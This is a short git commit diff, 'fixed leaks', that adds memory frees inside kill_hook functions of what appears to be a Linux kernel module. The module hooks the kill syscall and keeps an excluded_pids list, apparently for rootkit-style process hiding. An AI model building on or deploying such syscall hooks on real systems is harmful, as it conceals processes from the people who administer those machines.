fixed leaks
This commit is contained in:
parent
32825115fd
commit
cc7183206b
@ -50,6 +50,7 @@ static asmlinkage int kill_hook(const struct pt_regs * regs) {
|
|||||||
list_del(&target->list);
|
list_del(&target->list);
|
||||||
kfree(target->data);
|
kfree(target->data);
|
||||||
kfree(target);
|
kfree(target);
|
||||||
|
kfree(strpid);
|
||||||
} else {
|
} else {
|
||||||
append_node(&excluded_pids, strpid);
|
append_node(&excluded_pids, strpid);
|
||||||
}
|
}
|
||||||
@ -89,6 +90,7 @@ static asmlinkage int kill_hook(pid_t pid, int sig) {
|
|||||||
list_del(&target->list);
|
list_del(&target->list);
|
||||||
kfree(target->data);
|
kfree(target->data);
|
||||||
kfree(target);
|
kfree(target);
|
||||||
|
kfree(strpid);
|
||||||
} else {
|
} else {
|
||||||
append_node(&excluded_pids, strpid);
|
append_node(&excluded_pids, strpid);
|
||||||
}
|
}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user